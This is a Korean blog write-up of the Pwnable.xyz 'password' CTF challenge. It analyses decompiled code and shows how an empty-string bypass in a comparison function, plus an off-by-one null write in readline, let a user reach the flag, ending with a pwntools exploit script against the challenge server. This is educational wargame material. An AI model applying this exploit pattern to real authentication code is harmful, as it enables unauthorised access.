tmxklab
[Pwnable.xyz] password 본문
1. 문제
nc svc.pwnable.xyz 30026
1) mitigation 확인
2) 문제 확인
3) 코드흐름 파악
3-1) main()
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // [rsp+0h] [rbp-20h]
size_t n; // [rsp+8h] [rbp-18h]
void *s; // [rsp+10h] [rbp-10h]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
setup(argc, argv, envp);
puts("Secure login.");
printf("User ID: ");
v4 = (unsigned __int8)read_int32();
if ( !v4 )
{
puts("You are not root.");
exit(1);
}
byte_202207 = v4;
load_password();
while ( 1 )
{
while ( 1 )
{
print_menu();
printf("> ");
v3 = read_int32();
if ( v3 != 2 )
break;
if ( creds == 1 )
{
memset(&unk_202208, 0, 0x20uLL);
puts("New password: ");
readline(&unk_202208, 32LL);
}
else
{
puts("Not logged in.");
}
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
if ( byte_202207 )
{
puts("You are not root.");
}
else
{
n = 0LL;
s = (void *)b64decode(&unk_202208, 32LL, &n);
printf("Current password: %s\n", s);
memset(s, 0, n);
free(s);
}
}
else if ( v3 == 4 )
{
load_password();
creds = 0;
}
else
{
LABEL_20:
puts("Invalid");
}
}
else
{
if ( v3 != 1 )
goto LABEL_20;
login();
}
}
}
- v4에 입력을 받고 v4가 0이면 exit()호출하여 종료
- byte_202207에 v4값을 저장하고 load_password()호출
- v3에 메뉴 선택에 대한 입력 값을 저장
- 메뉴 1 : login()호출
- 메뉴 2 : creds(전역변수)가 1이면 unk_202208(전역변수)에 32byte만큼 입력할 수 있음, creds가 1이 아니면 puts()로 문자열 출력
- 메뉴 3 : byte_202207(전역변수)가 참이면 puts()로 문자열 출력, 참이 아니면 b64decde(unk_202208, 0x20, n)을 호출하고 s를 출력한 뒤 memset() → free(s)를 차례대로 호출
- 메뉴 4 : load_password()호출하고 creds를 0으로 초기화
3-2) load_password()
unsigned int load_password()
{
int fd; // [rsp+Ch] [rbp-4h]
fd = open("./flag", 0);
if ( fd == -1 )
{
puts("Can't read password.");
exit(1);
}
printf("Restoring original password... ");
sleep(2u);
read(fd, &unk_202208, 0x20uLL);
close(fd);
puts("Done.");
return sleep(1u);
}
- flag파일을 open하여 flag파일의 내용을 unk_202208에 저장
3-3) b64decode()
base64 decoding해주는 함수인 것 같다. 코드가 길어서 ㅋㅋ
3-4) login()
unsigned __int64 login()
{
__int64 v1; // [rsp+8h] [rbp-18h]
void *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Password: ");
readline(&unk_202228, 32);
v1 = 0LL;
ptr = b64decode((__int64)&unk_202208, 0x20uLL, &v1);
if ( (unsigned int)b64cmp((const char *)ptr, (const char *)&unk_202228) )
{
printf("Invalid password.");
}
else
{
creds = 1;
printf("Welcome user id: %d\n", (unsigned __int8)byte_202207);
}
free(ptr);
return __readfsqword(0x28u) ^ v3;
}
- unk_202228에 32byte만큼 입력 값 저장
- b64decode(unk_202208, 0x20, v1)을 실행하여 ptr에 return값 저장
- b64cmp(ptr, unk_202228)이 참이 아니면 creds를 1로 초기화하고 byte_202207출력
- unk_202208에는 flag값이 존재하고 unk_202228에는 password값이 존재하는데 flag값을 디코딩한 값이 ptr에 들어가고 ptr과 password와 비교하여 동일한 값이면 byte_202207을 출력하는 것 같다.
3-5) b64cmp()
__int64 __fastcall b64cmp(const char *a1, const char *a2)
{
int i; // [rsp+14h] [rbp-Ch]
int v4; // [rsp+18h] [rbp-8h]
if ( a1 && a2 )
{
v4 = strlen(a1);
if ( v4 != (unsigned int)strlen(a2) )
return 1LL;
for ( i = 0; i < v4; ++i )
{
if ( a1[i] != a2[i] )
return 1LL;
}
}
return 0LL;
}
- a1과 a2 둘 다 값이 존재하면 a1과 a2간에 문자열을 비교하여 문자열이 같으면 0으로 반환, 틀리면 1
- 존재하지 않으면 바로 0으로 반환 (로직이 이상함) 0으로 반환 되면 login함수에서 creds에 1로 초기화하고 byte_202207을 출력해주기 때문에
3-6) readline()
__int64 __fastcall readline(void *a1, int a2)
{
int v2; // eax
read(0, a1, a2);
v2 = strlen((const char *)a1);
*((_BYTE *)a1 + v2 - 1) = 0;
return (unsigned int)(v2 - 1);
}
- a1에 a2만큼 입력 값을 받는다.
- a1 + strlen(a1) - 1 에 널 바이트를 넣고 strlen(a1) - 1을 리턴 값을 준다.
전역변수)
- creds : 0x202200
- byte_202207 : 0x202207 → user id가 담겨있음
- unk_202208 : 0x202208 → flag파일의 내용 담겨있음
- unk_202228 : 0x202228 → password 저장되어 있음
2. 접근방법
먼저, 메인 함수에서 while문 시작하기 전에 load_password()에서 flag파일의 내용을 unk_202208로 복사한다. 이후에 메뉴 3번을 통해 unk_202208을 base64로 디코딩한 값을 s에 저장하여 s를 출력해주는 부분이 존재한다.
if ( v3 == 3 )
{
if ( byte_202207 )
{
puts("You are not root.");
}
else
{
n = 0LL;
s = (void *)b64decode(&unk_202208, 32LL, &n);
printf("Current password: %s\n", s);
memset(s, 0, n);
free(s);
}
}
- else문이 실행되기 위해서 byte_202207에 있는 값이 0이 되어야 한다.
하지만, 메인 함수 처음에 login을 시도하기 위해서 User ID값에 0이 되면 안되고 User ID값은 byte_202207에 저장된다.
각 메뉴의 기능)
- 메뉴 1 : base64로 디코딩된 flag값과 입력 값이 같으면 creds를 1로 세팅하고 byte_202207을 출력 → login()
- 메뉴 2 : creds가 1로 세팅되어야 새로운 패스워드를 입력받는 readline(unk_202208, 32)를 수행
- 메뉴 3 : base64로 디코딩된 flag값을 출력
- 메뉴 4 : load_password()를 수행하고 creds를 0으로 초기화하는데 아무래도 어떤 작업을 하다가 변조된 flag값을 로드하는 역할인 것 같다.
정리하자면 현재 수행할 수 있는 기능은 메뉴 1번과 4번밖에 없는데 (creds는 처음에 0으로 세팅되어 있으므로) 4번은 flag값 리로드하는 역할밖에 없어서 메뉴 1번을 자세히 보도록하자.
메뉴 1)
위에서 말했듯이 메뉴 1번에서 최종적으로 얻을 수 있는 것은 creds값을 1로 세팅해서 메뉴 2번을 호출할 수 있는 것이다. 그럼 login()의 if문을 살펴보자
if ( (unsigned int)b64cmp((const char *)ptr, (const char *)&unk_202228) )
{
printf("Invalid password.");
}
else
{
creds = 1;
printf("Welcome user id: %d\n", (unsigned __int8)byte_202207);
}
- b64cmp()의 파라미터로 ptr과 unk_202228을 준다.
- ptr에는 base64로 디코딩된 플래그 값이 존재하고 unk_202228은 패스워드에 대한 입력 값이다.
- else문이 실행되기 위해서는 b64cmp()의 리턴 값이 0이 되어야 한다.
if ( a1 && a2 )
{
v4 = strlen(a1);
if ( v4 != (unsigned int)strlen(a2) )
return 1LL;
for ( i = 0; i < v4; ++i )
{
if ( a1[i] != a2[i] )
return 1LL;
}
}
return 0LL;
- b64cmp()에서 문자열을 비교하는 로직이다. (a1과 a2는 파라미터)
- 먼저 a1과 a2와 문자열을 비교하여 같지 않으면 반환 값을 1로 준다.
- 이후에 a1[i]과 a2[i]의 값을 strlen(a1)만큼 반복하여 비교하여 틀리면 반환 값을 1로 준다.
- b64cmp()의 마지막에 0으로 반환 값을 주는데 로직이 이상한 점을 발견할 수 있다.
- 처음 if문에서 a1과 a2의 값이 존재하지 않으면 그냥 0으로 반환된다.
- 아까 코드분석할 때 이상한 부분이 바로 이 부분이다.
따라서, 입력에 널 바이트를 주면 b64cmp()의 반환 값을 0으로 주고 login()의 else문이 실행됨에 따라 creds를 1로 세팅할 수 있다.
메뉴 2)
이제 creds가 1로 세팅되었으니 메뉴 2의 readline(unk_202208, 32)를 수행할 수 있다. 우리의 목표는 unk_202208바로 앞에 존재하는 byte_202207을 0으로 세팅하는 것을 생각하고 readline()의 코드를 보자
read(0, a1, a2);
v2 = strlen((const char *)a1);
*((_BYTE *)a1 + v2 - 1) = 0;
return (unsigned int)(v2 - 1);
- a1은 unk_202208이며 기존의 flag값이 저장된 곳이다.(a2 = 32)
- read(0, unk_202208, 32)를 하고 "a1 + strlen(unk_202208) - 1"에 널 바이트를 저장한다. 디버깅을 통해 자세히 확인해보자
- 현재 "A" * 8를 입력으로 준 상황이며 unk_202208에 "A" * 8이 들어간 것을 확인할 수 있다.
- 위 로직이 실행되면 strlen(unk_202208) - 1 = 7을 rdx에 저장하고 unk_202208의 주소 값이 담긴 [rbp-0x18]의 값을 rax에 저장한다.
- 마지막으로 rax = rax + rdx하고 [rax]에 0을 넣게 되는데 그럼 결과적으로 0x55e05793e208 + 7에 널 바이트를 넣게 된다.
- 그럼 "A"를 한개 넣게 되면 0x55e05793e208 + 1 - 1에 널 바이트를 넣게 된다.
- 만약에 입력 값이 문자열로 인식하지 못하면 unk_202208 + 0 - 1에 널 바이트를 넣게 되고 그럼 byte_202207에 널 바이트가 들어가게 된다.
- strlen()에서 문자열의 끝을 널 바이트로 인식하기 때문에 널 바이트를 넣게 되면 byte_202207에 널 바이트가 들어간다.
최종적으로 우리의 목표는 메뉴 3번을 실행시키는 것이고 3번을 실행시키기 위해서 byte_202207에 널 값이 들어가야 한다. 널 값이 들어가게 하는 방법은 위에서 설명하였다.
공격 프로세스)
- 메뉴 1 실행 → 널 바이트 입력
- 메뉴 2 실행 → 널 바이트 입력
- 메뉴 4 실행 → 변조된 플래그 값 다시 리로드
- 메뉴 3 실행 → 플래그 값 출력
3. 풀이
1) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30026)
#gdb.attach(p)
# 1. setting "creds = 1"
p.sendlineafter("ID: ", str(1))
p.sendlineafter("> ", str(1))
p.sendafter("Password: ", "\x00")
# 2. setting "byte_202207 = 0"
p.sendlineafter("> ", str(2))
p.sendafter("password: ", "\x00")
# 3. load flag content
p.sendlineafter("> ", str(4))
# 4. print flag content
p.sendlineafter("> ", str(3))
p.interactive()
2) 실행결과
4. 몰랐던 개념
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] executioner v2 (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] badayum (0) | 2020.09.09 |
[Pwnable.xyz] executioner (0) | 2020.09.09 |
[Pwnable.xyz] punch it (0) | 2020.09.09 |
[Pwnable.xyz] catalog (0) | 2020.09.09 |